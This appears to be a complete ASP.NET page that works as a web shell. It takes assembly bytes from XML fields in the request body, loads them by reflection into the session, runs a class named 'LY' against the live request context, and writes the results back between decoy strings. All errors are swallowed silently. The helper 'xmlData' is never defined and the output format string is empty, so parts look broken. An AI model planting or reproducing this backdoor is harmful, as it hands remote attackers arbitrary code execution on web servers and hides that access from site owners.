<%@ Page Language="C#" %><% try { System.IO.Stream xmlStream = Context.Request.InputStream; byte[] xmlBytes = new byte[xmlStream.Length]; xmlStream.Read(xmlBytes, 0, xmlBytes.Length); string xmlString = System.Text.Encoding.UTF8.GetString(xmlBytes); byte[] decryptedData = xmlData(xmlString, "/user/content"); byte[] value1 = xmlData(xmlString, "/user/image"); byte[] value2 = xmlData(xmlString, "/user/icon"); if (Context.Session["payload"] == null) { Context.Session["payload"] = (System.Reflection.Assembly)typeof(System.Reflection.Assembly).GetMethod("Load", new System.Type[] { typeof(byte[]) }).Invoke(null, new object[] { decryptedData }); } else { System.IO.MemoryStream outStream = new System.IO.MemoryStream(); object o = ((System.Reflection.Assembly)Context.Session["payload"]).CreateInstance("LY"); o.Equals(outStream); o.Equals(Context); o.Equals(decryptedData); o.ToString(); byte[] r = outStream.ToArray(); outStream.Dispose(); Context.Response.Write(Encoding.Default.GetString(value1)); Context.Response.Write(string.Format("", System.Convert.ToBase64String(r))); Context.Response.Write(Encoding.Default.GetString(value2)); } } catch (System.Exception) { }%>